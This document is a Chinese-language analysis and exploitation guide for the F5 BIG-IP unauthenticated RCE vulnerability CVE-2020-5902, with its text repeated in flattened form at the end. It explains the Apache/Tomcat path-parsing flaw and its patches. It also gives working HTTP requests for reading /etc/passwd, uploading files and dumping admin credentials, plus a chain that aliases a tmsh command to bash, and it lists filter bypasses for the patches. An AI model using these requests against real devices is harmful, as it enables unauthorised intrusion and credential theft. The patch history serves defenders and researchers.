F5-BIG-IP未授权RCE(CVE-2020-5902)
字数 1263 2025-08-25 22:59:09

F5 BIG-IP未授权RCE漏洞(CVE-2020-5902)深度分析与利用指南

1. 漏洞概述

F5 BIG-IP是F5公司制造的一款多功能网络设备,可作为流量控制系统、负载平衡器、防火墙、访问网关等。CVE-2020-5902是一个存在于BIG-IP设备中的严重漏洞,允许攻击者绕过认证并实现远程代码执行(RCE)。

2. 影响版本

  • F5 BIG-IP < 15.1.0.4
  • F5 BIG-IP < 14.1.2.6
  • F5 BIG-IP < 13.1.3.4
  • F5 BIG-IP < 12.1.5.2
  • F5 BIG-IP < 11.6.5.2

3. 漏洞原理

3.1 架构分析

F5 BIG-IP设备前端采用Apache接收用户请求,后端可同时处理PHP和Java程序。处理Java程序时,通过AJP协议将Apache接收的数据封装并流转给Tomcat。

关键配置位于/etc/httpd/conf.d/proxy_ajp.conf

ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5

3.2 漏洞成因

漏洞源于Apache和Tomcat对URL解析的差异:

  1. Apache处理/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp时,认为处理的是/tmui/login.jsp文件
  2. Tomcat处理时会先去除; /之间的字符,然后将路径规范化

这种解析差异导致权限校验被绕过,攻击者可以访问后台功能代码。

4. 漏洞利用

4.1 未授权任意文件读取

请求示例

GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1
Host: 192.168.43.115
Connection: close
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml

4.2 未授权任意文件上传

请求示例

POST /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp HTTP/1.1
Host: 192.168.43.115
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 35

fileName=/tmp/1&content=id

4.3 未授权命令执行

命令执行需要满足两个条件:

  1. 第一个指令必须是createdeletelistmodify
  2. 不能包含特殊字符:& ; \ ' " | * ? ~ < > ^ ( ) [ ] { } $ \n \r`

利用步骤

  1. 获取admin用户账号密码:
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
  1. 修改alias劫持list命令为bash:
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+/cli+alias+private+list+command+bash
  1. 执行bash文件:
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/xxx
  1. 还原list命令:
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list

4.4 利用hsqldb反序列化

通过hsqldb反序列化可执行任意Java代码,利用代码已公开在GitHub:
https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902

5. 补丁与绕过

5.1 初始补丁

禁止路径中有..;符号:

<LocationMatch "\.\.;">
    Redirect 404 /
</LocationMatch>

5.2 第一次绕过

使用http://vulnsite/hsqldb;/绕过

5.3 第二次补丁

禁止路径中有;符号:

<LocationMatch ";">
    Redirect 404 /
</LocationMatch>

5.4 第二次绕过

使用http://vulnsite/hsqldb%0a绕过

5.5 最终补丁

禁止路径中有;符号和hsqldb字符串:

<LocationMatch ";">
    Redirect 404 /
</LocationMatch>
<LocationMatch "hsqldb">
    Redirect 404 /
</LocationMatch>

6. 参考资源

  1. CVE-2020-5902 Analysis: F5 BIG-IP RCE Vulnerability
  2. F5 BIG-IP Remote Code Execution Exploit
F5 BIG-IP未授权RCE漏洞(CVE-2020-5902)深度分析与利用指南 1. 漏洞概述 F5 BIG-IP是F5公司制造的一款多功能网络设备,可作为流量控制系统、负载平衡器、防火墙、访问网关等。CVE-2020-5902是一个存在于BIG-IP设备中的严重漏洞,允许攻击者绕过认证并实现远程代码执行(RCE)。 2. 影响版本 F5 BIG-IP < 15.1.0.4 F5 BIG-IP < 14.1.2.6 F5 BIG-IP < 13.1.3.4 F5 BIG-IP < 12.1.5.2 F5 BIG-IP < 11.6.5.2 3. 漏洞原理 3.1 架构分析 F5 BIG-IP设备前端采用Apache接收用户请求,后端可同时处理PHP和Java程序。处理Java程序时,通过AJP协议将Apache接收的数据封装并流转给Tomcat。 关键配置位于 /etc/httpd/conf.d/proxy_ajp.conf : 3.2 漏洞成因 漏洞源于Apache和Tomcat对URL解析的差异: Apache处理 /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp 时,认为处理的是 /tmui/login.jsp 文件 Tomcat处理时会先去除 ; / 之间的字符,然后将路径规范化 这种解析差异导致权限校验被绕过,攻击者可以访问后台功能代码。 4. 漏洞利用 4.1 未授权任意文件读取 请求示例 : 4.2 未授权任意文件上传 请求示例 : 4.3 未授权命令执行 命令执行需要满足两个条件: 第一个指令必须是 create 、 delete 、 list 或 modify 不能包含特殊字符: & ; \ ' " | * ? ~ < > ^ ( ) [ ] { } $ \n \r ` 利用步骤 : 获取admin用户账号密码: 修改alias劫持list命令为bash: 执行bash文件: 还原list命令: 4.4 利用hsqldb反序列化 通过hsqldb反序列化可执行任意Java代码,利用代码已公开在GitHub: https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902 5. 补丁与绕过 5.1 初始补丁 禁止路径中有 ..; 符号: 5.2 第一次绕过 使用 http://vulnsite/hsqldb;/ 绕过 5.3 第二次补丁 禁止路径中有 ; 符号: 5.4 第二次绕过 使用 http://vulnsite/hsqldb%0a 绕过 5.5 最终补丁 禁止路径中有 ; 符号和 hsqldb 字符串: 6. 参考资源 CVE-2020-5902 Analysis: F5 BIG-IP RCE Vulnerability F5 BIG-IP Remote Code Execution Exploit